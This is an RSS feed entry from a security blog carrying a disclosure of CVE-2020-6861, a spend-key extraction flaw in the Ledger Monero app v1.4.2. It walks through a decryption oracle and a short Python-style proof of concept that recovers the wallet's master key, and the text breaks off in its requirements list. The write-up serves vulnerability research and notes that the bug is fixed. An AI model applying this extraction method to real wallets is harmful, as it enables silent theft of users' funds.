<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>0xDEADC0DE</title>
    <description>Deadcode security blog. Authors: Dusan Klinec (ph4r05), Miroslav Svitok (Miroc). 
</description>
    <link>http://localhost:4000/</link>
    <atom:link href="http://localhost:4000/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Sun, 03 May 2020 16:43:02 +0200</pubDate>
    <lastBuildDate>Sun, 03 May 2020 16:43:02 +0200</lastBuildDate>
    <generator>Jekyll v4.0.0</generator>
    
      <item>
        <title>CVE-2020-6861: Ledger Monero App Spend key Extraction</title>
        <description>&lt;p&gt;CVE-2020-6861: Due to a bug in the Monero transaction signing protocol in the Ledger Monero app 
v1.4.2 we were able to extract master Monero spending key. The vulnerability is now fixed.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p style=&quot;text-align: center;&quot;&gt;
    &lt;a href=&quot;https://twitter.com/Ledger/status/1068127566752608256?s=20&quot;&gt;
        &lt;img src=&quot;/static/monero/monero.jpeg&quot; width=&quot;400&quot; height=&quot;225&quot; alt=&quot;Monero + Ledger&quot; /&gt;
    &lt;/a&gt;
&lt;/p&gt;

&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.getmonero.org&quot;&gt;Monero&lt;/a&gt; is a privacy-centric cryptocurrency protecting the identity of participants and amounts being transacted.
Monero support has been added to &lt;a href=&quot;https://www.ledger.com&quot;&gt;Ledger&lt;/a&gt;, cryptocurrency hardware wallet, in &lt;a href=&quot;https://twitter.com/Ledger/status/1068127566752608256?s=20&quot;&gt;November 2018&lt;/a&gt;.&lt;/p&gt;

&lt;video controls=&quot;&quot; width=&quot;660&quot; height=&quot;465&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
    &lt;source src=&quot;/static/monero/monero.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn't support embedded videos.
&lt;/video&gt;

&lt;!--
&lt;p&gt;
&lt;iframe width=&quot;660&quot; height=&quot;465&quot; src=&quot;https://www.youtube.com/embed/50VczNVR7l8?rel=0&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;/p&gt;
--&gt;

&lt;h3 id=&quot;monero-basics---points-and-scalars&quot;&gt;Monero basics - points and scalars&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://web.getmonero.org/library/Zero-to-Monero-2-0-0.pdf&quot;&gt;Zero to Monero&lt;/a&gt; is an excellent resource describing cryptography used in Monero from scratch. 
I recommend going through it if something is not clear in this post.&lt;/p&gt;

&lt;p&gt;Monero is based on an elliptic curve &lt;a href=&quot;https://eprint.iacr.org/2008/013.pdf&quot;&gt;Ed25519&lt;/a&gt;. 
Public keys are points on the Ed25519 curve \(\mathbb{G}\), denoted as upper-case letters. 
Point \(G\) is a known parameter called the &lt;em&gt;base point&lt;/em&gt;. Points form a finite &lt;a href=&quot;https://en.wikipedia.org/wiki/Cyclic_group&quot;&gt;cyclic group&lt;/a&gt;, 
so operations of addition and subtraction are defined over points. Operation over two
points results in another point on the curve. Points are encoded as 32 bytes.&lt;/p&gt;

&lt;p&gt;Scalars are integers modulo \(l\), i.e. \(\mathbb{Z}^{*}_{l} \), where \(l = 2^{252}\)+27742317777372353535851937790883648493 is a curve order (number of points on the elliptic curve). 
Scalars are denoted as lower-case letters. As \(l\) is a prime number, \(\mathbb{Z}^{*}_{l}\) is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Finite_field&quot;&gt;finite field&lt;/a&gt;, i.e., there are addition, subtraction, multiplication and division operations defined over the scalars.&lt;/p&gt;

&lt;p&gt;Moreover, we have an operation called &lt;em&gt;scalar multiplication&lt;/em&gt;, \(bP = \overbrace{(P + P + \cdots + P)}^{b} = Q\), where \(b \in \mathbb{Z}^{*}_{l}, P \in \mathbb{G}, Q \in \mathbb{G}\). 
Scalars also work as private keys, by computing \(bG=B\) we get a public key \(B\).
Scalar multiplication in non-invertible, i.e., computation of \(b\) from \(B\) is not feasible (reduces to solving &lt;a href=&quot;https://en.wikipedia.org/wiki/Discrete_logarithm&quot;&gt;discrete logarithm problem&lt;/a&gt;). Scalars are encoded as 32 bytes.&lt;/p&gt;

&lt;h3 id=&quot;monero-private-keys&quot;&gt;Monero private keys&lt;/h3&gt;

&lt;p&gt;Monero wallet has a pair of private keys \((k^s, k^v)\) called spending and view key. Spending key is essential for spending owned Monero coins while view key is needed to determine whether transaction on the blockchain is for our account. Monero address contains public spend and view key, \((k^sG, k^vG) = (K^s, K^v)\).&lt;/p&gt;

&lt;p&gt;Private keys \((k^s, k^v)\) are protected by hardware wallets in a way they never leave the device. Hardware wallets enables the user to use private keys only in a predefined way, i.e., the user has to confirm destination address and amount to be transacted before the hardware wallet uses keys to sign the transaction.&lt;/p&gt;

&lt;p&gt;However, the view key \(k^v\) is often exported from the hardware wallet and stored in the software wallet as it is needed for common read-only Monero operations. The software wallet with the view key can scan incoming transactions, determine whether we received any funds, and decode the value of those funds. This can be done without having the hardware wallet connected. Without exporting the view key, the hardware wallet would have to be connected, and cryptographic operations would have to be computed over each transaction in each block, which would be quite slow.&lt;/p&gt;

&lt;p&gt;The view key is derived from the spend key. Thus the spend key \(k^s\) is the main secret we aim to extract from the hardware wallet. Once extracted, the wallet is compromised, the attacker can transact all funds, which is game over.&lt;/p&gt;

&lt;h2 id=&quot;transaction-signing&quot;&gt;Transaction signing&lt;/h2&gt;

&lt;p&gt;Signing a Monero transaction is more complicated than a Bitcoin transaction, for example. 
As hardware wallets (HWs) are resource-limited hardware, they cannot sign the whole transaction at once, and thus some transaction signing protocol has to be used to sign the transaction in a secure way, i.e., without leaking any secrets signing precisely what user confirms.&lt;/p&gt;

&lt;p&gt;Ledger application implementing such Monero signing algorithm is &lt;a href=&quot;https://github.com/LedgerHQ/ledger-app-monero&quot;&gt;https://github.com/LedgerHQ/ledger-app-monero&lt;/a&gt;. Documentation of the commands provided by the Monero application is &lt;a href=&quot;https://github.com/LedgerHQ/ledger-app-monero/blob/master/doc/developer/blue-app-commands.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The Monero wallet then calls given commands in order to sign the transaction. 
Ledger’s transaction signing protocol runs low-level, i.e., operations provided by the HW app are usually simple commands. The operation’s input and outputs are protected by AES128-CBC (zero IV) and HMAC. 
Encryption key &lt;code class=&quot;highlighter-rouge&quot;&gt;spk&lt;/code&gt; is derived from the spend key and remains the same for the whole life of the wallet. HMAC key &lt;code class=&quot;highlighter-rouge&quot;&gt;hk&lt;/code&gt; is random, generated for each transaction. I denote scalars and points as &lt;em&gt;sealed&lt;/em&gt; if they are encrypted and HMAC protected, i.e., not readable by the attacker.&lt;/p&gt;

&lt;h3 id=&quot;decryption-oracle&quot;&gt;Decryption oracle&lt;/h3&gt;

&lt;p&gt;The Ledger Monero app is implemented in C, but I will show the core ideas in python for brevity.
Take a look at the &lt;a href=&quot;https://github.com/ph4r05/blue-app-monero/blob/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828/src/monero_key.c#L430&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;sc_sub&lt;/code&gt;&lt;/a&gt; operation that shows how input and outputs are handled:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sc_sub&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SealedScalar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SealedScalar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SealedScalar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;Input: {a, b} scalars&quot;&quot;&quot;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;aa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hmac_and_decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;spk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;bb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hmac_and_decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;spk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;cc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;aa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# l is the curve order
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encrypt_and_hmac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;spk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are few other operations provided by the HW app. Scalars either as inputs or function outputs are always encrypted, with one exception, the function &lt;a href=&quot;https://github.com/ph4r05/blue-app-monero/blob/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828/src/monero_mlsag.c#L96&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mlsag_sign&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;alpha&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SealedScalar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SealedScalar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Scalar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;aa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hmac_and_decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;alpha&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;spk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  
  &lt;span class=&quot;n&quot;&gt;xx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hmac_and_decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;spk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ss&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;aa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# c is part of the state
&lt;/span&gt;  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ss&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Resulting scalars &lt;code class=&quot;highlighter-rouge&quot;&gt;ss&lt;/code&gt; are public part of the MLSAG signature in the transaction; thus the output of &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign&lt;/code&gt; is not encrypted. Scalar &lt;code class=&quot;highlighter-rouge&quot;&gt;c&lt;/code&gt; is part of the internal state, which we know (not important now).&lt;/p&gt;

&lt;p&gt;Note that if we pass &lt;code class=&quot;highlighter-rouge&quot;&gt;x=0&lt;/code&gt; to the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign&lt;/code&gt;, we obtain &lt;em&gt;decrypting oracle&lt;/em&gt; as the function returns a decrypted scalar value of the &lt;code class=&quot;highlighter-rouge&quot;&gt;alpha&lt;/code&gt;. For that, we need an encrypted version of a zero scalar, which we can obtain by calling &lt;code class=&quot;highlighter-rouge&quot;&gt;zero = sc_sub(x, x)&lt;/code&gt; for any encrypted scalar value &lt;code class=&quot;highlighter-rouge&quot;&gt;x&lt;/code&gt;. We can thus decrypt all private values sent over the protocol.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decrypt_oracle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SealedScalar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Scalar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;zero&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sc_sub&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# can be reused
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;xx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mlsag_sign&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;alpha&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we could just pass \(k^s\) (sometimes denoted also as &lt;code class=&quot;highlighter-rouge&quot;&gt;b&lt;/code&gt;) to the &lt;code class=&quot;highlighter-rouge&quot;&gt;decrypt_oracle&lt;/code&gt; we won. But there are a few more steps required.&lt;/p&gt;

&lt;h3 id=&quot;spend-key-extraction&quot;&gt;Spend key extraction&lt;/h3&gt;

&lt;p&gt;There are few operations that enable work with stored spend and view keys. If such operations find
32 B placeholders &lt;code class=&quot;highlighter-rouge&quot;&gt;C_FAKE_SEC_VIEW_KEY&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;C_FAKE_SEC_SPEND_KEY&lt;/code&gt; in the input, the real values are substituted to the input buffer, so the operation works with the real secret key values. The placeholders are known to the software wallet once transaction signing started, so the signing protocol can work with these secret values. Function taking care of the substitution is: &lt;a href=&quot;https://github.com/ph4r05/blue-app-monero/blob/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828/src/monero_io.c#L258&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;monero_io_fetch_decrypt_key&lt;/code&gt;&lt;/a&gt;. The &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign&lt;/code&gt; operation does not support the placeholders, so we need to find another function suitable for the spend key extraction.&lt;/p&gt;

&lt;p&gt;Observe the &lt;a href=&quot;https://github.com/ph4r05/blue-app-monero/blob/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828/src/monero_key.c#L574&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;derive_secret_key&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;derive_secret_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;derivation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SealedPoint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;secret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SealedScalar&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SealedScalar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;D&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hmac_and_decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;derivation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;monero_io_fetch_decrypt_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;secret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# Placeholder
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Hs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;D&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;varint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   
  &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encrypt_and_hmac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;spk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The function computes \(r=\mathcal{H}_s(D \; || \; \text{index}) + s\), where \(\mathcal{H}_s: \{0,1\}^* \rightarrow \mathbb{Z}^{*}_{l} \) is a hash function to scalars and &lt;code class=&quot;highlighter-rouge&quot;&gt;||&lt;/code&gt; is a binary concatenation.&lt;/p&gt;

&lt;p&gt;As you noticed, Ledger Monero app makes no difference between point and scalar encryption, thus we can use them interchangeably.
If we know the value of the \(D\) (one known value is the encryption of zero) we also know the value of \(\mathcal{H}_s(D \; || \; \text{index})\). Thus we can compute \(s = r - \mathcal{H}_s(D \; || \; \text{index})\).&lt;/p&gt;

&lt;p&gt;Spend key extraction is thus:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;poc1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;C_FAKE_SEC_SPEND_KEY&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;monero_apdu_open_tx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;X&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;generate_keypair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# sealed scalar, clear point
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;zero&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sc_sub&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;derive_secret_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;C_FAKE_SEC_SPEND_KEY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;rr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mlsag_sign&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;H_s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The spend key &lt;code class=&quot;highlighter-rouge&quot;&gt;b&lt;/code&gt; is extracted from the Monero app with just 5 API calls. No user interaction is needed. Ledger does not change any state or change the display, so the attack is unobservable by a normal user.&lt;/p&gt;

&lt;p&gt;The PoC demonstrating the vulnerability is &lt;a href=&quot;https://github.com/ph4r05/ledger-app-monero-1.42-vuln/blob/3e615bbfe4c4112ddc9e4099a1ba8378f37ab90b/poc.py#L114&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;requirements&quot;&gt;Requirements&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Connected Ledger, entered PIN, selected Monero app 1.4.2. Commit 7d6c5f5573c4c83fe74dcbb3fe6591489bae7828.&lt;/li&gt;
